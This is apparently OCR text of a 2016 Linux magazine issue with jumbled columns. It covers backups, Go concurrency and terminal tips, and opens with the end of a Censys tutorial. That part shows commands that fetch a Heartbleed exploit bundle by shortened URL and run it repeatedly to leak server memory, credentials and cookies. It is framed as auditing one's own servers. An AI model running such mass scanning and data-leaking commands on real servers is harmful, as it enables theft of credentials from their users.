As you can clearly see, each host is printed along with a time Heartbleed is a well documented bug that appeared in 2014
stamp. This time stamp will help you identify when the host (see References). And yet, there are still vulnerable servers
was port-scanned. If the host has not been port-scanned in a that need to be patched. Go have a quick look at the Censys
long while, chances are that the information stored in Censys engine: type this into the query text box:
for that particular host is no longer accurate.
Because you are writing Python code, you can add more tags: heartbleed
functionalities to the script. By querying Censys, you are not
establishing any connections to the hosts. But if you do want As of this writing, there are 221, 501 potential vulnerable
to make sure the information stored in Censys is accurate, hosts. Now, imagine you are auditing for potential

Black Hats can query Censys for vulnerable hosts all around
the world and then execute an exploit to take them over
you will eventually have to establish a TCP connection to the Heartbleed-vulnerable servers inside your organisation, with
target. Add these lines to your previous script right after the different branches scattered all around the world. Chances
print line (make sure they are indented to the same level): are that these servers are in Censys' database too (if they are
publicly accessible, that is). For this scenario you will be using:
try:
socket.setdefaulttimeout(timeout) • A modiied version of a well-known exploit from
con = socket.socket() ExploitDB (32764)
con.connect((ip["ip"],21)) • A shell script that runs the previous exploit a inite number
result = con.recv(33333) of times
con.close() • A Python script that queries Censys in search for potentially
print "UP", Heartbleed-vulnerable servers and calls the other two

42

040-043_LUD170 PK.indd 42 07/09/2016 16:24

 Right After executing our HeartBleed script (discussed in this tutorial), we've been able to capture some valid credentials.

address space holding the tag “Heartbleed”. No further actions

will be conducted. You can, of course, test the hosts to verify their
vulnerability (the script only supports TCP port 443; feel free to
improve it!):

./heartbleed.py -q “ip: XXX.YYY.0.0/16 and tags:

https and tags: heartbleed” -c

The exploit 32764-tcg.py will be executed once per each

host. You will be trying to leak a 64KB data chunk from
each potential vulnerable host. If you succeed, the host is
vulnerable indeed:

X.Y.Z.232 Ports: [ 443/https 22/ssh ] Updated at:

2016-01-26T09:TT:SS+TS MAYBE NOT VULNERABLE / ERROR
Go get all the necessary files: X.Y.Z.123 Ports: [ 443/https ] Updated at:
2016-04-20T20:TT:SS+TS VULNERABLE
~$ wget http://tinyurl.com/zvuuo2c
You job will probably end right here: the next step should be
Next, decompress and untar the file: to patch the remote server. An attacker would not stop now:
on the contrary, they would leak data chunk after data chunk
~$ tar xvfj lhc.tar.bz2 until something interesting popped out. If you are toying with
a bunch of vulnerable servers set on purpose to learn about
The Python script that queries Censys is called heartbleed.py. security issues and exploits, then you may as well proceed by
The slightly modified exploit from ExploitDB is called 32764-tcg. stealing data from them until you end up with some interesting
py, and the shell script written in bash is called pull.sh. Before pieces of information (i.e, valid credentials, session cookies,
using the scripts, make sure to set the UID and SECRET variables and the like). Doing this to servers that aren't your own test
according to yours. Because you want to test servers in your servers or your security responsibility is illegal:
organisation, you have to set a valid address space in the query
string by calling the script with the -q flag, e.g: ./heartbleed.py -q "XXX.YYY.0.0/16 and tags: https
and tags: heartbleed" -t 120
./heartbleed.py -q “ip: XXX.YYY.0.0/16 and tags:
heartbleed” -d This will then spawn one data-pulling process per each
vulnerable host, storing the data chunks in different log files (one
The previous command will query Censys for hosts in that per each server).

Conclusions
Querying Censys from the deep ... Censys holds an incredible amount of data that you can leverage
You are auditing your own systems, so you don't need to perform in your search for security vulnerabilities. Bear in mind that
queries in a stealthy way. But an attacker does. They could use Black Hats are probably taking advantage of this information
proxychains plus the Tor Network in order to hide their real IP. too. Although the information that Censys hold may not be 100
They probably would be using an already compromised system
per cent accurate, it is still a good starting point. By calling its
anyway. Although some well-known disposable email services
are black-listed from Censys (such as dropmail.me), an account API from Python you can write powerful scripts that automate
does not need to be associated with a real user... different aspects of your daily security engagements. We hope
this tutorial has shown you the way.

www.linuxuser.co.uk 43

040-043_LUD170 PK.indd 43 07/09/2016 16:24

 Tutorial Ubuntu system management

Back up your data securely

Take a deeper look at some of the techniques
that will help you to back up data securely
Backup typically refers to the process of copying and
archiving data: the idea is to enable a system administrator to
restore the data if there is a data loss event. You can consider
backup as a simple form of disaster recovery, but please
note that it should not be considered as a complete disaster
recovery process. One risk of keeping all your data on local
machines is that in case of a natural disaster, fire or flood, your
local system could be damaged and you will lose your data. It's
recommended to keep another copy of your data on a machine
Swayam located elsewhere. On Linux systems, data backups used to be
Prakasha done by using various commands to archive and compress the
has a Master’s degree in
computer engineering.
files to backup and then writing that backup archive to a tape.
He has been working in As technology evolved, tape archiving has been replaced by
information technology techniques that can be used to back up data over the network to Above Extracting iles from tar
for several years,
CDs or other low-cost removable media. be considered are –z to compress in gzip format, and –j to
concentrating on areas
such as operating Creating backups with tar may be the most widely used compress the archive in bzip2 format.
systems, networking, mechanism when it comes to backing up. The tar command (tar It can be noted here that the regular tar files end in the .tar
network security, for tape archiver) dates back to early UNIX systems. Originally extension whereas the compressed tar files end in .tar.bz2
electronic commerce,
internet services, LDAP tar was used to write to magnetic tape and nowadays, tar is (compressed with bzip2) or .tar.gz (when compressed with
and web servers. Swayam considered as the most favoured command that can be used gzip). In addition to being used for backups, tar files are popular
has authored a number to create an archive file. Please note that the tar command ways to distribute the source code and binaries from software
of articles for trade
publications, and he provides several options, so it can be considered as rich in packages. You can expect most UNIX and Linux systems to
presents his own papers features. As a part of the process of creating a tar archive, contain the tools you need to work with tar files. The older tar
at industry conferences. you will be able to add various options that will compress versions normally use a two-step process – first create an
He can be reached at
swayam.prakasha@
the resulting archive. The most popular options that can archive and then compress it. But with the newer versions of
gmail.com

Resources
Types of backup
http://typesofbackup.
com/
Data backup
types explained
bit.ly/16uRkcS
Backup virtual
servers with
traditional
techniques and
specialised tools
bit.ly/2bjeczS

Right Man page

details of a widely
used tar command

44

044-047_LUD170.indd 44 07/09/2016 16:25

 tar, you will be able to perform these two tasks in one shot – i.e. It is important to understand here that before you use lzop,
create the archive and compress the output in one step. you need to install the lzop package. In order to achieve Backup in
The following screen shot explains how you can extract the lzop compression, you need to utilise the --use-compress- a nutshell
files from a compressed tar file. program option. You can use the following command to Backing up your
In the example shown in the screen shot, we can see that install lzop: iles primarily
the archived tar file was copied from the archive to the current involves gathering
them into a tar
directory. Please note that we have used the following options: ~$ sudo apt-get install lzop
archive. As you
know, the primary
• x to extract the files ~$ tar -user-compress-program=lzop -xf my_files. reason for taking
• z to decompress the file tar.lzo a backup is that
• v to make the output if something
• f to indicate that the next option is the name of the archive file As can be seen from the above example, we have used a happens, you
should be in a
switch before the command.
position to restore
Let’s take a look at how we can use compression tools. As we all Another widely used compression tool is gzip. This the iles from that
know, compression can be considered as an important aspect of command can actually be used alone (as opposed to within backup. For this you
working with backup files. It takes a considerable amount less of the tar command line). Let’s take a quick look at some of have two options –
your disk space to store the compressed files. And as expected, the examples. copying the backup
to removable media
or copying it to

One risk of keeping all your data on local machines is another machine
over a network.

that your local system could be damaged and you will

lose your data
it also takes less time to transfer the archives to optical media or ~$ gzip my_files
to download the files over a network. Though compression can This gzips the speciied ile and renames it as my_iles.gz.
save a lot of storage space and transfer times, it comes with a
significant drawback – that it can increase your CPU usage. As ~$ gzip -v my_files
noted earlier, tar calls the gzip command. But note that tar can This gzips my_iles with verbose output.
operate with many compression tools. Specific to Ubuntu, tar
can work with gzip and bzip2. There is one more compression ~$ gzip -tv my_files.gz
utility, known as lzop, and this command can be used with tar in This tests the integrity of the gzip ile
a very different way.
When we have large amounts of data, the time taken to ~$ gzip -lv my_files.gz
compress the backup can be very significant. The advantage This provides detailed information about the gzip ile
with all these compression tools is that you can select different
compression levels and that will help in balancing the need for ~$ gzip -1 my_files
more compression with the time that compression takes. Let’s This is the option with the fastest compression time (Please
take a look with a few examples: note that you can use any compression level from one to
nine, just ensure that you use a dash before the number).
~$ tar cjvf my_files.tar.bz2 *.txt The default compression level for gzip is six.
In effect, this creates an archive and compresses with bzip2.
~$ gzip -rv my_dir
~$ tar xjvf my_files.tar.bz2 This can be used to compress all the iles in a speciied
This will extract files (please note the x option) and decompress directory. In order to decompress a gzipped ile, use the
bzip2 compression. gunzip command.

~$ gunzip -v my_files.gz
This unzips my_iles.gz and renames it as my_iles.

Another command, bzip2, can also be used in the same way and
this is considered to provide the highest level of compression.
The following examples illustrate the use of this command

~$ bzip2 my_files
Compresses the ile and renames it my_iles.bz2.

~$ bunzip2 my_files.bz2
Above Installing lzop Decompresses and renames.

www.linuxuser.co.uk 45

044-047_LUD170.indd 45 07/09/2016 16:25

 Tutorial Ubuntu system management

The third command for compression – lzop – works ~$ mkdir my_backup; cd my_backup
OpenSSH differently compared to gzip and bzip2.The important thing ~$ssh me@server1 ‘tar cf - my_file*’ | tar xvf -
tools for to note here is that when we use lzop for compressing the
backup over contents of a ile, it leaves the original ile intact, but creates In the above example, the iles beginning with my_ile are
a network a new ile with a .lzo extension. This is illustrated in the all copied from our home directory (on server 1) and placed
OpenSSH provides
following examples. in the current directory. It can be noted here that the left
a variety of tools side of the pipe creates an archive whereas the right side
that are helpful ~$ lzop -v my_files expands the iles from the archive to the current directory.
for backup over a Decompresses and renames. The rsync command provides a rich feature set that can
network. In addition be used for backup over a network. The concept behind
to network backup,
~$ lzop -U my_files rsync is that it employs an algorithm that will compare the
these tools can also
be used for remote
This removes my_iles and creates a compressed ile, my_ local and remote iles one small block at a time. After that,
login and remote iles.lzo. it only transfers those blocks that are different. The rsync
execution too. In client needs to be installed irst; you can do this by using
order to transfer The main use of tar is to create and unpack archives. the command here:
iles between two But there are various other options that can be used for
machines securely,
joining archives, adding iles to an existing archive and ~$ sudo apt-get install rsync
you need to set
them up to share
also to delete iles from an archive. Let's look at this with a
encryption keys. few examples. This command comes with a lot of options. Please refer to
This feature allows the screen shot to see more rsync options.
us to come up with ~$ tar -Af my_files1.tar my_files2.tar
scripts that can be
used to back up data
In the above example, we are trying to concatenate one
from a client to a
server without the
tar ile to another – where we have used the –A option to
need for any manual achieve this. In other words, the content of one archive is
intervention. added to the second one.

~$ tar rvf my_files1.tar extra_file

In the above example, we have effectively added one more

ile to an archive. You can also use simple wildcards so that
multiple iles can be added to an archive.

~$ tar rvf my_files1.tar *.c Above Options within the rsync command

Sometimes you may even need to delete a ile from an It can also be used to take backups on local machines and in
archive. A simple example for deleting iles from a tar most cases, the following command will do the work for us:
archive is shown here.
~$ rsync -av -delete /my_dir1/ /my_dir2/
~$ tar -delete extra_file -f my_files1.tar
The above one line code will sync up the contents of my_dir1
Let’s look at how to effectively use backup techniques over to my_dir2. It can be noted here that if rsync inds that my_
a network. Fast and reliable networks and the high level of dir2 has a ile that my_dir1 does not, then it will delete that
security that comes with mobile data makes backup over ile. In addition to the –delete option, we have also used –a
a network a very practical and popular approach. Although (recursive) and –v (verbose) options with rsync. You will be able
there are many commands that can copy iles over a to conigure rsync in several ways when you need to use it for
network or be used to move the backup data to a remote external backups. The most popular way is tunnelling rsync
machine, some utilities have become very popular for this through SSH. This method has gained popularity because
speciic job. Using OpenSSH tools such as ssh and scp, most servers and even various clients already have SSH and
you will be able to achieve the secured transfer of backup can thus be used for rsync backups. Let’s look at the various
archives. Another popular command – rsync – will help steps of using rsync for taking backups over a network.
us to save time by backing up only iles that have changed As a irst step, you need to ensure that both rsync and
since the previous backup. Another way to backup iles over SSH are installed. You can use the following commands for
a network is to use tools such as Unison. You can also take this purpose:
a look at another command – rsnapshot. This command
can work with rsync and enables you to make hourly, daily, ~$ yum -y install ssh rsync
weekly or monthly snapshots of a ile system. ~$ sudo apt-get install ssh rsync
By using OpenSSH commands, you will be able to gather
backups from multiple client machines. Let us take a look at As the next step, we need to run the command using rsync
an example: as given here:

46

044-047_LUD170.indd 46 07/09/2016 16:25

 Above Automating backup with rsync using cron

~$ rsync -av -delete -e ssh /my_dir1/ me@IP_ the day, day of the month, month of the year, day of the
Address: /my_dir2/ week, command.
Thus if we look at our cron entry for rsync, we can see that
If we have conigured SSH to run on a port other than 22, that we are interested in running the backup at 22 hours (10pm)
needs to be mentioned as an option to SSH using the –p lag. on a daily basis.
When we execute the above command, it may prompt for a Though rsync is very popular, it assumes that the
password – please note that this is to authenticate with SSH. machine being backed up is the only one where you are
You can set up RSA keys to skip this authentication process. modifying the data. But let us consider a situation where
System administrators ind it useful to automate backups two machines are modifying the same ile and we need to
using the rsync command. On Ubuntu systems, you can use sync up this speciic ile. In such situations, the command
the cron utility to automate this. In order to edit the cron table unison comes in very handy. You can install this using the
ile, type the following command: following command:

crontab -e ~$ sudo apt-get install unison

And then using the vi editor, make an entry for rsync as shown: You can go through the man page to learn more about it.

0 22 * * * rsync -av --delete /my_dir1/ /

my_dir2/

Here we need to make sure that we make note of the syntax

that cron uses. The syntax is minute of the hour, hour of

You can expect most

UNIX and Linux systems to
contain the tools you need
to work with tar iles Above Unison man page details

www.linuxuser.co.uk 47

044-047_LUD170.indd 47 07/09/2016 16:25

 Tutorial Concurrent programming

Learn
Mihalis
Tsoukalos
concurrent
programming
Mihalis Tsoukalos is
a UNIX administrator,
a programmer (UNIX
& iOS), a DBA and a
mathematician. He
has been using Linux
since 1993. You can
reach him at
@mactsouk (Twitter)

in Go
and his website:
mtsoukalos.eu

Resources
A text editor such
as Emacs or vi
The Go compiler
Discover how to develop concurrent
applications in Go
Concurrent programming is a difficult area of computing serious reason for doing so is highly discouraged and should
that requires special care and precision. This tutorial be avoided.
will talk about concurrent programming in Go, which
introduces a unique approach to concurrency. Go uses About goroutines
goroutines and channels in order to program concurrent A goroutine is the minimum Go activity that can be executed
applications but can also support traditional concurrency concurrently – please pay special attention to the word
techniques. Everything in Go is executed using goroutines; minimum. Therefore, goroutines are lighter than threads,
when a program starts its execution, its single goroutine which are lighter than processes. However, processes
automatically calls the main function in order to begin the can be autonomous and exist on their own whereas both
actual execution of the program. goroutines and threads cannot. Goroutines live in threads
This tutorial will mostly talk about goroutines and channels. that leave in processes. So, in order to have a goroutine, you
However, Go also supports the traditional and well-known will need a process with at least one thread.
concurrency model that uses shared memory. You can deine a new goroutine using the keyword “go”
The next tutorial is the Go series will continue talking about followed by a function name or an anonymous function.
concurrent programming in Go so keep reading! The go keyword makes the function call immediately return
while the function runs concurrently and the main program
Standard Go packages related continues running.
to concurrency On the other hand, however, you cannot control or make
The sync Go package contains functions that can help you any assumptions about the order your goroutines are going to
synchronise goroutines – the most important functions of be executed in, because this is the job of the scheduler of the
sync are sync.Add, sync.Done and sync.Wait. operating system.
The time Go package is not directly related to concurrency The goRoutine.go program contains Go code that creates
Tutorial iles but contains functions that can be useful sometimes, two goroutines, one using a function and one using an
available: including the Sleep function, which pauses the current anonymous function. You can see the Go code of goRoutine.
filesilo.co.uk goroutine for a given amount of time. However, using the go in Figure 1. Executing goRoutine.go generates the
time.Sleep function to pause a goroutine without having a following output:

48

048-053 Go Tutorial PK.indd 48 07/09/2016 16:26

 You will discover an extremely tricky point here: if you
Figure 1
try to omit the call to time.Sleep from the main() function
then main() will finish first and the two goroutines will not
have enough time to start and therefore finish their jobs; as
a result you are not going to see any of their output on your
screen! Now, you can start understanding the difficulties of
concurrent programming!
As you can realise, goroutines that run this way are totally
isolated from each other and cannot exchange any kind of
data, which is not always the desired way of operation. The
next section will talk about Channels, which offer a way for
goroutines to send and receive data.

About Go channels
A channel is a connection between goroutines that allows
goroutines to exchange data – each channel allows the
exchange of a particular data type, which is also called the
element type of the channel. For a channel to operate, you
will need someone to receive what is sent via the channel. If
Above This is the Go code of goRoutine.go that creates nobody receives the data, the function that sends it will stall
two simple goroutines, one using an existing function while waiting for someone to read its data.
and the other using an anonymous function You can declare a new channel using the chan keyword in the
following way:
$ go run goRoutine.go
Learning about Goroutines. aChannelForStrings := make(chan string)
This is an anonymous function! You can send a statement to an existing channel
This is aFunction! as follows:
Exiting... aChannel <- aString
You can read a single value from a channel as
So how do you know for sure that the printed messages follows:
came from different goroutines? The best way to readValueFromChannel := <- aChannelForStrings
understand that is by looking at the order the four Should you expect a number of values, you can
messages are printed on your screen: due to the delay in use a for loop instead:
aFunction(), the message of the anonymous function is for readString := range aChannelForStrings {
printed first. This verifies that the anonymous function and fmt.Println(readString)
aFunction() run at the same time. }

www.linuxuser.co.uk 49

048-053 Go Tutorial PK.indd 49 07/09/2016 16:26

 Tutorial Concurrent programming

Right This is the Go

Figure 2 Figure 3
code of goChannel.
go, which shows
how to create/use
a channel in Go.
Channels are first
class citizens in the
concurrency model
in Go

Across This is the

code of simple.go
where the use of the
sync package allows
the main() function
to wait for goroutines
to finish their jobs
before exiting

As you can see, channels are really important in Go, so

please make sure that you understand them well before
continuing with the rest of the tutorial.

A simple example
In the next example, the main() function will wait for all
goroutines to finish before continuing, which, most of the
time, is the desired behaviour – this will happen with the
You are also allowed to ignore the value of a channel, which is help of the sync package mentioned at the beginning of this
implemented as follows: tutorial. In other words, you will stop making calls to time.
Sleep. For reasons of simplicity, two anonymous functions
<- aChannel are being used.
You can find the Go code of this example in simple.go,
Closing a channel is done using the close() function. You which you can also see in Figure 3. Executing simple.go
can see the Go code of goChannel.go in Figure 2, which uses generates the following output:
integers instead of string values. Executing goChannel.go
generates the next output: $ go run simple.go
Using Goroutines Part 1!
$ go run goChannel.go This is AF 2!
This is AF 1!
Using Channels! Exiting...
0 1 2 3
Channel is closed! You can see that in the Linux machine used, the messages
Exiting... from the two anonymous functions are printed in the
reverse order the two goroutines were created. You can also
The following technique will allow you to find out the status of see the use of the defer keyword; in this case using defer
a channel: does not add so much to the reliability of the program but
it would have been invaluable if your function had multiple
_, ok := <-aChannel return points.
if ok { Please notice that the parameter to the sync.Add call must
fmt.Println("Channel is open.") reflect the number of goroutines you want to wait for, which
} else { should be equal to the total number of goroutines that make
fmt.Println("Channel is closed!") a call to sync.Done.
} Calling sync.Done more times than the parameter of
sync.Add is not good but it will not crash your program – it
In other words, you test the value of the ok variable to find out will just make it finish without waiting for all goroutines to
whether a channel is still active or not. finish their jobs:

50

048-053 Go Tutorial PK.indd 50 07/09/2016 16:26

 Left This is the
Concurrency versus Parallelism Figure 4
source code of
It is a very common misconception that Concurrency and anotherExample.
Parallelism are the same thing, which, as is going to be explained, go, which shows
is very far from true! how to synchronise
Parallelism is the simultaneous execution of multiple things. a given number of
Concurrency is a way of structuring your things so that they can goroutines
be independently executed.
It is only when you build things concurrently that you can safely
execute them in parallel, when and if your Linux system permits
it. The Erlang programming language did this a long time ago, long
before CPUs had multiple cores.
In a valid concurrent design, adding concurrent entities makes
the whole system run faster because more things can run in
parallel. So, the parallelism comes from a better concurrent
expression and implementation of the problem. The developer
is responsible for taking concurrency into account during the
design phase of a system and benefits from a potential parallel
execution of the components of the system. So, the developer
should not think about parallelism but about breaking things into
independent components that will effectively solve the initial
problem when combined.
Even if you cannot run your functions in parallel on your current
system, a valid concurrent design will still improve the design and
the maintainability of your programs. In other words, Concurrency
is better than Parallelism! Going to create 25 Goroutines.
24 4 5 2 15 3 16 20 21 17 22 18 1 23 19 9 0 7 8
11 12 14 13 10 6
$ grep Add simple.go Exiting...
waitGroup.Add(1)
$ go run simple.go Calling anotherExample.go two more times verifies that
Using Goroutines Part 1! unpredictability of the order of execution of the goroutines:
This is AF 2!
Exiting... 24 1 2 13 14 3 15 16 4 17 5 18 10 19 11 20 12 21
7 0 22 6 23 8 9
Making a program wait for less goroutines than the number of 4 24 2 5 3 6 15 1 16 7 17 8 20 23 9 18 21 10 19
calls to sync.Done will crash it with the error message: 13 12 11 14 0 22

… As you saw in simple.go calling sync.Add as sync.Add(2) or

fatal error: all goroutines are asleep - sync.Add(3) increases the current value of the counter by two
deadlock! or three, but there is no point in doing that unless you want to
… create two or three goroutines only.
You can try removing the “waitGroup.Wait()” command
This happens because if the counter goes negative, the Add from anotherExample.go to see what happens to the output
function panics. In other words, make sure that you call sync. of the program.
Add with the correct number of goroutines your program
should wait for. Pipelines
Go programs rarely use a single channel. One very common
Another example technique that uses multiple channels is called a pipeline,
This time the program will use sync.Add in a different way which is a method for connecting goroutines so that the
because you will not always know in advance the number of output of one goroutine becomes the input of another with
goroutines you will need to construct. Calling sync.Add as the help of channels.
sync.Add(1) increases the current value of the counter by one, But first, we should talk about what the presented Go
starting from zero. You only need to make sure that you call program, named pipelines.go, will do. The program reads
sync.Add(1) before starting a new goroutine. a text file line by line, calculates the length of each line and
The number of goroutines that anotherExample.go is counts the number of times each length occurred before
going to create will be given as a command line argument. The printing out all the counts. Figure 5 presents the code of
source code of this example is saved as anotherExample.go pipelines.go. Executing pipelines.go using a file that contains
and can be seen in Figure 4. If you run anotherExample.go you a single word in each line generates the next output:
will get the next output:
$ wc INPUT
$ go run anotherExample.go 25 124586 INPUT
Using Goroutines Part 2! $ go run pipelines.go INPUT | sort -rn

www.linuxuser.co.uk 51

048-053 Go Tutorial PK.indd 51 07/09/2016 16:26

 Tutorial Concurrent programming

Right The pipelines. 28755 :4

Figure 5
go code here 23677 :3
illustrates the use of 22020 :5
pipelines using a text 11909 :6
file as input …
1 :27
1 :22

The output tells us that there exist 28, 755 words with four
letters, 23, 677 words with three letters and only one word
with 27 letters in the input file.
Now that we have the Go code, it is easier to explain how
pipelines work. The main() function is still the glue that
creates all required connections using Go channels. First of
all, you define the necessary channels because channels are
the building blocks of pipelines.
The program creates two goroutines using the readFile()
and findLength() functions. The readFile() function takes the
name of the text file that will be read as its first argument.
The name of a channel that will be used as the input to
the findLength() function is the second argument of the
readFile() function. The second argument of findLength()
is also a channel, which will be that input to the createHist()
function, which is the last member of the pipeline. All three
functions keep their channels active as long as they have data
to receive or get from them. The Go code that shows how the
two channels and the three functions are used inside main()
is the following:

lines := make(chan string)

stringLength := make(chan int)
go readFile(filename, lines)
go findLength(stringLength, lines)
createHist(stringLength)

The data from both the lines and the stringLength channels
is not stored anywhere; instead, data travels from the
readFile() function to the findLength() function and then to
the createHist() function.
As you can realise, the Go code is not particularly difficult
to read or write provided that you know precisely what you
are doing – it is very easy to get perplexed with the various
channels of a pipeline.
Additionally, Figure 6 shows a graph of how the pipelines of
pipelines.go interact with each other. You should understand
by now that pipelines are a very powerful mechanism in Go!

Right This image

Figure 6
illustrates how
the data flows on
pipelines.go with the
help of the channels
and the functions of
the program

52

048-053 Go Tutorial PK.indd 52 07/09/2016 16:26

 The presented program has a pretty straightforward Across The GoTrace
Figure 8
design so choosing how to construct your pipeline is not tool, created by Ivan
difficult – for more complex designs, you might need more Daniluk, generates
time to decide the structure of your pipeline as alternative 3D visualization of
ways to build it might exist. Go concurrency flow
The main benefit that you will get from using pipelines and using WebGL
channels is that you will make your code use all the available
resources, which most of the time will result in faster and Left The output of
more efficient program execution. strace reveals how
a concurrent Go
program is actually
Figure 7
executed

Visualising Go concurrency Using strace

Ivan Daniluk built a tool named GoTrace that can be used for As we did in the Go tutorial in issue 169, we are going to use
visualising concurrent Go programs. The tool uses WebGL and strace to see what happens behind the scenes – in other
a web browser to display its output. words, we are going to see the way goroutines are executed
Despite the relatively difficult installation process, the in the executable binary file. The Go program that will be
tool has great potential, and you should definitely install it used is anotherExample.go.
and use it, especially if you are truly interested in visualising Figure 8 shows the output of strace when executed in the
concurrent Go programs. following way:
Figure 7 shows the GitHub page of the GoTrace tool that
includes a demo output image. The GitHub page itself can $ go build anotherExample.go
be found at https://github.com/divan/gotrace where you $ file anotherExample
can find detailed instructions that describe the installation
anotherExample: ELF 64-bit LSB executable, x86-
process in detail.
64, version 1 (SYSV), statically linked, not
Talking more about GoTrace is beyond the scope of this
stripped
tutorial! Go out and try it yourself.
$ strace ./anotherExample 5 2>&1 | grep -v
rt_sigaction

The lines of the output that contain calls to the rt_sigaction()

The GOMAXPROCS environment system call are omitted to save space and help you
variable in use concentrate on what really matters.
The clone(2) system call appears twice on the output –
The GOMAXPROCS environment variable (and Go function) allows
clone(2) is used for creating child processes in a manner
you to limit the number of operating system threads that can
similar to fork(2). However, although you are creating five
execute user-level Go code simultaneously. You can find more
goroutines, only two child processes are used. There is
about it at https://golang.org/pkg/runtime/.
also a call to the futex(2) system call that is used for fast
A properly set GOMAXPROCS environment variable allows you
user-space locking and provides a method for a program to
to take advantage of all cores available on your machine. However,
wait for a value at a given address to change. The remaining
starting from Go 1.5 the default value of GOMAXPROCS should be
system calls are of less interest and need no explanation.
the number of CPUs (cores) available on your Linux system. The
The interesting thing is that if you are going to create 150
cores.go program allows you to find out the number of available
goroutines, the current version of anotherExample.go will
cores on your Linux system:
still use two child processes:

$ go run cores.go
$ strace ./anotherExample 150 2>&1 | grep clone
GOMAXPROCS is 1 | wc
2 8 212
On a system with more cores, you are allowed to lower the value of
GOMAXPROCS.
The main reason for this might be the value of the
In the Go tutorial in next issue, the effectiveness of the
GOMAXPROCS environment variable or the use of an older
GOMAXPROCS environment variable will be tested and
version of Go.
benchmarked so stay tuned!

www.linuxuser.co.uk 53

048-053 Go Tutorial PK.indd 53 07/09/2016 16:26

 Feature Master the command line

Terminal

>_ TAKE
>_ COMMAND
50 terminal tricks to
supercharge your system
E
ven though distributions like Ubuntu >_001 Find out the path to >_004 Kill annoying processes
have gone a fair way towards making a command Some programs, like Skype for example, can
settings accessible from the GUI, In some cases, more than one version of a hang at times. In this case, simply terminate
the underlying operating system command can exist on a system. Finding all running Skype processes by entering:
remains a command line-driven platform. out which binary will be invoked when
While the average user deinitely does not the command is entered ‘directly’ can be killall -s9 skype
need to access the command line, power accomplished via the which command – its
users moving in from Windows should get behaviour is shown in the code snippet. This can also be applied to a variety of other
over their ‘fear of the command line’. scenarios – killall’s man page is worthy of a read.
When applied correctly, command-line ~$ which java
commands provide access to a wide array of /usr/bin/java >_005 List all the attached
amazing administration, management and USB devices
system information facilities. Furthermore, >_002 Select from alternatives USB can create quite complex device
knowing your way around the various If more than one version of a command is structures. Entering lsusb provides a list
command-line tools is also helpful when it present on your system, the utility update- of all hardware currently attached to your
comes to scripting: many, if not most, of the alternatives allows you to pick your poison. system. Be aware that the command also
commands shown in this article can also be Please consider yourself thoroughly warned: lists internal USB hubs, making its output
applied to Bash scripts (such as the ones this command works only on Debian-based meaningful only when comparing before and
demonstrated on pages 28-31). distributions such as Ubuntu. Most other after scenarios.
Tune in to the following pages to ind out lavours of Unix will deploy a different way to
more about system temperatures, network set the various default commands. ~$ lsusb
connections and a variety of other stats useful Bus 004 Device 002: ID 8087:0024
for troubleshooting. In addition to that, let us >_003 List all running tasks Intel Corp. Integrated Rate Matching Hub
introduce you to the best command-line media Simply enter the command top in order to Bus 004 Device 001: ID 1d6b:0002
players – just in case you ever wanted to make obtain an overview of all the tasks that are Linux Foundation 2.0 root hub
a Bash script control your MP3 playback… currently running on the system. Bus 003 Device 003: ID 04f2:b2da

54

054-062 Take Command Feature PK.indd 54 07/09/2016 16:28

 SYSTEM INFO
Chicony Electronics Co., Ltd thinkpad
t430s camera
~$ sensors
acpitz-virtual-0
>_009 Keyboard
shortcuts
Do more with less by using
these handy quick tricks
By default, most users simply tap away
Bus 003 Device 002: ID 8087:0024 Adapter: Virtual device
at their terminal. This is sad – when
Intel Corp. Integrated Rate Matching Hub temp1: +49.0°C (crit = +200.0°C) your system is based on the Bash shell,
Bus 003 Device 001: ID 1d6b:0002 the product provides a selection of
Linux Foundation 2.0 root hub thinkpad-isa-0000 helpful tricks.
Bus 002 Device 001: ID 1d6b:0003 Adapter: ISA adapter
Linux Foundation 3.0 root hub fan1: 3612 RPM
Bus 001 Device 009: ID 046d:c062
Logitech, Inc. M-UAS144 [LS1 Laser coretemp-isa-0000
Mouse] Adapter: ISA adapter Autocomplete
Bus 001 Device 001: ID 1d6b:0002 Physical id 0: +50.0°C (high = my commands
Linux Foundation 2.0 root hub +87.0°C, crit = +105.0°C) By far the most powerful command of
all involves simply pressing the Tab key
Core 0: +48.0°C (high =
after having entered a few characters.
>_006 Read the system log +87.0°C, crit = +105.0°C)
In that case, Bash will analyse all
Unix collects a large amount of data as it runs. Core 1: +45.0°C (high = +87.0°C, commands and/or files found on the
Most of it is found in the syslog, whose last crit = +105.0°C) system, automatically suggesting all
lines can be emitted into the terminal via the fitting possibilities.
tail command. >_008 Learn to apply advanced Be aware that Bash will display
temperature-checking techniques a warning whenever the list of
~$ tail /var/log/syslog Today’s GPUs can easily sink more energy than the possible results is too long. In this
CPU driving them. Should you suspect cooling issues case, either enter more characters
>_007 Determine your on your GPU (or an adverse affect to that expensive or press Y to get the full list
system temperatures GPIB router card in the adjacent slot), taking a look at displayed via the More utility.
Notebooks, desktop PCs and workstations the internal temperature sensors can be worthwhile. Ctrl ahoy!
come with a plethora of sensors. Entering Sadly, we cannot provide you with a one-hit The Control key lets you access
the sensors command emits a list of all solution for this problem: each GPU vendor and a variety of interesting features.
sensors visible. If the relevant packet is not each driver implements its own specs gateway. Pressing Ctrl+X deletes the entirety
yet installed, the shell will, instead, guide you For example, to check the temperature of an ATI of the buffer – unlike clear, it also
through the installation process. The code graphics card using the standard fglrx driver under wipes out the off-screen scroll
accompanying this step shows the output Ubuntu, the command aticonfig -odgt should area. Pressing Ctrl+C can be used
from our ThinkPad T430. be used. to terminate most currently running
tasks: this is especially helpful for
commands like ping.
Terminal

Types of terminal between the individual terminal windows can be

dragged all over the screen, thereby creating your ideal
The terminal in your GUI-based distro allocation of screen real estate.
is actually an emulator, so which one
is best for you?
Do more…
Traditionally, terminals were green-screen hardware In addition to that, a large variety of other products are
not too dissimilar to oscilloscopes. On modern available – fire up Google to find out more.
workstations, the terminals are instead virtualised
via applications known as terminal emulators.
While Ubuntu provides a decent basic terminal
emulator, a variety of more advanced options exist.
By far the most advanced version is Guake – it comes
with impressive design options and a selection
of neat helper tools that make handling complex
command-line operations easy. Learn more
Should you feel like finding out even
The Terminator terminal emulator provides a range of
Go LeCroy! features including tabs and unlimited scrollback
more keyboard shortcuts, simply
LeCroy is well known for a family of high- open the Bash shell’s man page!
performance digital storage oscilloscopes that are Guake’s terminal floats Alternatively, click Edit>Keyboard
able to split their display in order to display multiple over the rest of the Shortcuts on Ubuntu’s default Terminal
screen – it was inspired
